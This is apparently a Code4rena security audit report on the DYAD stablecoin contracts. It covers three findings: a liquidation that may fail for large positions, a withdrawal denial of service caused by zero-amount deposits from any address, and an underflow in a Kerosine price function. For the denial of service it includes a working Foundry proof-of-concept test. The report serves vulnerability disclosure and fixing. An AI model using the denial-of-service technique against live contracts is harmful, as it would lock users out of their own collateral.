DYAD - NentoR's results

Lines of code

https://github.com/code-423n4/2024-04-dyad/blob/main/src/core/VaultManagerV2.sol#L205

Vulnerability details

Impact

Large positions may not always get liquidated. This is because the current algorithm requires the liquidator to have the same amount of DYAD minted as the target, which might not be the case if the target is a whale.

Proof of Concept

The following function is responsible for triggering liquidations within VaultManagerV2:

function liquidate(
  uint id,
  uint to
)
  external
    isValidDNft(id)
    isValidDNft(to)
  {
    uint cr = collatRatio(id);
    if (cr >= MIN_COLLATERIZATION_RATIO) revert CrTooHigh();
    dyad.burn(id, msg.sender, dyad.mintedDyad(address(this), id));

    uint cappedCr               = cr < 1e18 ? 1e18 : cr;
    uint liquidationEquityShare = (cappedCr - 1e18).mulWadDown(LIQUIDATION_REWARD);
    uint liquidationAssetShare  = (liquidationEquityShare + 1e18).divWadDown(cappedCr);

    uint numberOfVaults = vaults[id].length();
    for (uint i = 0; i < numberOfVaults; i++) {
        Vault vault      = Vault(vaults[id].at(i));
        uint  collateral = vault.id2asset(id).mulWadUp(liquidationAssetShare);
        vault.move(id, to, collateral);
    }
    emit Liquidate(id, msg.sender, to);
}

At the third line inside the body, we can see that the function attempts to burn the same amount of DYAD as the position to be liquidated:

dyad.burn(id, msg.sender, dyad.mintedDyad(address(this), id));

With the current algorithm, there's a chance that very large positions might not get liquidated and those can lead to depegging of the DYAD token.

Tools Used

Manual Review

Recommended Mitigation Steps

The algorithm should change so that there's no risk of liquidator unavailability. One possible solution would be to implement the liquidation as a Dutch auction where the price drops over time. This will ensure the position eventually gets liquidated.

Assessed type

Other

Lines of code

https://github.com/code-423n4/2024-04-dyad/blob/main/src/core/VaultManagerV2.sol#L119-L127 https://github.com/code-423n4/2024-04-dyad/blob/main/src/core/VaultManagerV2.sol#L143

Vulnerability details

Impact

External actors can DOS collateral withdrawals of any DYAD holder within VaultManagerV2 due to a constraint that withdrawals should not occur in the same block as deposits and because of a lack of access control on the deposit functionality.

Proof of Concept

VaultManagerV2 has the following function that allows borrowers to deposit collateral and borrow DYAD against it:

/// @inheritdoc IVaultManager
function deposit(
  uint    id,
  address vault,
  uint    amount
)
  external
    isValidDNft(id)
{
  idToBlockOfLastDeposit[id] = block.number;
  Vault _vault = Vault(vault);
  _vault.asset().safeTransferFrom(msg.sender, address(vault), amount);
  _vault.deposit(id, amount);
}

The function marks the block.number of the deposit transaction and uses it in the withdraw() function to protect against potential flash loan attacks:

function withdraw(
  uint    id,
  address vault,
  uint    amount,
  address to
)
  public
    isDNftOwner(id)
{
  if (idToBlockOfLastDeposit[id] == block.number) revert DepositedInSameBlock();
  uint dyadMinted = dyad.mintedDyad(address(this), id);
  Vault _vault = Vault(vault);
  uint value = amount * _vault.assetPrice()
                * 1e18
                / 10**_vault.oracle().decimals()
                / 10**_vault.asset().decimals();
  if (getNonKeroseneValue(id) - value < dyadMinted) revert NotEnoughExoCollat();
  _vault.withdraw(id, to, amount);
  if (collatRatio(id) < MIN_COLLATERIZATION_RATIO)  revert CrTooLow();
}

The deposit() function however doesn't account for the fact that external actors can also use it to deposit and might decide to use it maliciously. This sets the stage for an attack where a malicious actor can call deposit() in each block and DOS the withdrawals of the victim. What's worse is that the deposit can be a 0 amount. In that case, they would only pay for the gas to keep the attack going.

Coded POC (create a new file in test/ and run testDOSWithdrawals against a mainnet fork):

// SPDX-License-Identifier: MIT
pragma solidity =0.8.17;

import "forge-std/Test.sol";
import "forge-std/Script.sol";

import {VaultManagerV2} from "../../src/core/VaultManagerV2.sol";
import {DNft} from "../../src/core/DNft.sol";
import {Dyad} from "../../src/core/Dyad.sol";
import {Licenser} from "../../src/core/Licenser.sol";
import {Vault} from "../../src/core/Vault.sol";
import {VaultWstEth} from "../../src/core/Vault.wsteth.sol";
import {IWETH} from "../../src/interfaces/IWETH.sol";
import {IAggregatorV3} from "../../src/interfaces/IAggregatorV3.sol";
import {KerosineManager} from "../../src/core/KerosineManager.sol";
import {UnboundedKerosineVault} from "../../src/core/Vault.kerosine.unbounded.sol";
import {BoundedKerosineVault} from "../../src/core/Vault.kerosine.bounded.sol";
import {Kerosine} from "../../src/staking/Kerosine.sol";
import {KerosineDenominator} from "../../src/staking/KerosineDenominator.sol";
import {Licenser} from "../src/core/Licenser.sol";
import {ERC20Mock} from "./ERC20Mock.sol";
import {ERC20} from "@solmate/src/tokens/ERC20.sol";
import {DNft} from "../src/core/DNft.sol";
import {Dyad} from "../src/core/Dyad.sol";
import {OracleMock} from "./OracleMock.sol";
import {Parameters} from "../src/params/Parameters.sol";

struct Contracts {
    Kerosine kerosene;
    Licenser vaultLicenser;
    VaultManagerV2 vaultManager;
    Vault ethVault;
    VaultWstEth wstEth;
    KerosineManager kerosineManager;
    UnboundedKerosineVault unboundedKerosineVault;
    BoundedKerosineVault boundedKerosineVault;
    KerosineDenominator kerosineDenominator;
    DNft dNft;
    Dyad dyad;
}

contract DeployV2 is Script, Parameters {
    function run() public returns (Contracts memory) {
        vm.startBroadcast(); // ----------------------

        Licenser vaultLicenser = new Licenser();

        DNft dNft = new DNft();
        Dyad dyad = new Dyad(vaultLicenser);

        // Vault Manager needs to be licensed through the Vault Manager Licenser
        VaultManagerV2 vaultManager = new VaultManagerV2(dNft, dyad, vaultLicenser);

        // weth vault
        Vault ethVault = new Vault(vaultManager, ERC20(MAINNET_WETH), IAggregatorV3(MAINNET_WETH_ORACLE));

        // wsteth vault
        VaultWstEth wstEth =
            new VaultWstEth(vaultManager, ERC20(MAINNET_WSTETH), IAggregatorV3(MAINNET_CHAINLINK_STETH));

        KerosineManager kerosineManager = new KerosineManager();

        kerosineManager.add(address(ethVault));
        kerosineManager.add(address(wstEth));

        vaultManager.setKeroseneManager(kerosineManager);

        kerosineManager.transferOwnership(MAINNET_OWNER);

        UnboundedKerosineVault unboundedKerosineVault =
            new UnboundedKerosineVault(vaultManager, Kerosine(MAINNET_KEROSENE), Dyad(MAINNET_DYAD), kerosineManager);

        BoundedKerosineVault boundedKerosineVault =
            new BoundedKerosineVault(vaultManager, Kerosine(MAINNET_KEROSENE), kerosineManager);

        KerosineDenominator kerosineDenominator = new KerosineDenominator(Kerosine(MAINNET_KEROSENE));

        unboundedKerosineVault.setDenominator(kerosineDenominator);

        unboundedKerosineVault.transferOwnership(MAINNET_OWNER);
        boundedKerosineVault.transferOwnership(MAINNET_OWNER);

        vaultLicenser.add(address(ethVault));
        vaultLicenser.add(address(wstEth));
        vaultLicenser.add(address(unboundedKerosineVault));
        // vaultLicenser.add(address(boundedKerosineVault));

        vaultLicenser.transferOwnership(MAINNET_OWNER);

        vm.stopBroadcast(); // ----------------------------

        return Contracts(
            Kerosine(MAINNET_KEROSENE),
            vaultLicenser,
            vaultManager,
            ethVault,
            wstEth,
            kerosineManager,
            unboundedKerosineVault,
            boundedKerosineVault,
            kerosineDenominator,
            dNft,
            dyad
        );
    }
}

contract TestV2 is Test, Parameters {
    Licenser vaultLicenser;
    VaultManagerV2 vaultManager;

    DNft dNft;

    Vault daiVault;
    ERC20Mock dai;
    OracleMock daiOracle;

    address constant RECEIVER = address(0xdead);

    function setUp() public {
        DeployV2 deployV2 = new DeployV2();
        Contracts memory script = deployV2.run();

        vaultLicenser = script.vaultLicenser;
        vaultManager = script.vaultManager;
        dNft = script.dNft;

        dai = new ERC20Mock("DAI-TEST", "DAIT");
        daiOracle = new OracleMock(1e8);
        daiVault = new Vault(vaultManager, ERC20(address(dai)), IAggregatorV3(address(daiOracle)));

        vm.startPrank(vaultLicenser.owner());
        vaultLicenser.add(address(daiVault));
        vaultLicenser.add(address(vaultManager));
        vm.stopPrank();
    }

    function deposit(ERC20Mock token, uint256 id, address vault, uint256 amount) public {
        vaultManager.add(id, vault);
        token.mint(address(this), amount);
        token.approve(address(vaultManager), amount);
        vaultManager.deposit(id, address(vault), amount);
    }

    function mintDNft(address owner) public returns (uint256) {
        return dNft.mintNft{value: 1 ether}(owner);
    }

    function addVault(uint256 id, address vault) public {
        vm.prank(vaultLicenser.owner());
        vaultLicenser.add(vault);
        vaultManager.add(id, vault);
    }

    error DepositedInSameBlock();

    function testDOSWithdrawals() public {
        // Create actors
        address alice = makeAddr("alice");
        address bob = makeAddr("bob");

        // Give Alice balance
        deal(alice, 1 ether);
        deal(address(dai), alice, 1000e18);

        // Alice mints DNft and deposits into vault
        vm.startPrank(alice);
        uint256 id = mintDNft(alice);
        deposit(dai, id, address(daiVault), 1000e18);
        vm.stopPrank();

        // Change block
        vm.roll(1);
        vm.warp(1000);

        // Bob makes zero-cost deposit
        vm.startPrank(bob);
        vaultManager.deposit(id, address(daiVault), 0);
        vm.stopPrank();

        // Withdrawal reverts because it's attempted in the same block
        vm.expectRevert(abi.encodeWithSelector(DepositedInSameBlock.selector));
        vm.prank(alice);
        vaultManager.withdraw(id, address(daiVault), 1000e18, address(this));

        // Change block again
        vm.roll(1);
        vm.warp(1000);

        // Bob makes zero-cost deposit again
        vm.startPrank(bob);
        vaultManager.deposit(id, address(daiVault), 0);
        vm.stopPrank();

        // Alice is again blocked from withdrawing
        vm.expectRevert(abi.encodeWithSelector(DepositedInSameBlock.selector));
        vm.prank(alice);
        vaultManager.withdraw(id, address(daiVault), 1000e18, address(this));
    }

    receive() external payable {}

    function onERC721Received(address, address, uint256, bytes calldata) external pure returns (bytes4) {
        return 0x150b7a02;
    }
}

Tools Used

Manual Review

Recommended Mitigation Steps

The simplest solution is to apply the isDNftOwner modifier on deposit() as well. This might not be ideal though. The borrower might want to set up a keeper to maintain their collateral ratio. They might also not want to use their main address for that purpose. In that case, it would be best to create a whitelist where the borrowers can add keepers. Those keepers will have access only to the deposit() function and nothing else. This will prevent the unauthorized denial of service on the withdrawals and will always be in the control of the user.

Assessed type

DoS

Judge has assessed an item in Issue #902 as 2 risk. The relevant finding follows:

[L-1] Possible underflow in UnboundedKerosineVault::assetPrice() function assetPrice() public view override returns (uint) { uint tvl; address[] memory vaults = kerosineManager.getVaults(); uint numberOfVaults = vaults.length; for (uint i = 0; i < numberOfVaults; i++) { Vault vault = Vault(vaults[i]); tvl += vault.asset().balanceOf(address(vault)) * vault.assetPrice() * 1e18 / (10vault.asset().decimals()) / (10vault.oracle().decimals()); } uint numerator = tvl - dyad.totalSupply(); uint denominator = kerosineDenominator.denominator(); return numerator * 1e8 / denominator; } The following line might cause an underflow error to occur if the DYAD minted is more than the TVL:

uint numerator = tvl - dyad.totalSupply(); This might happen in the case where a large position was liquidated and the DYAD is still held by the liquidated holder.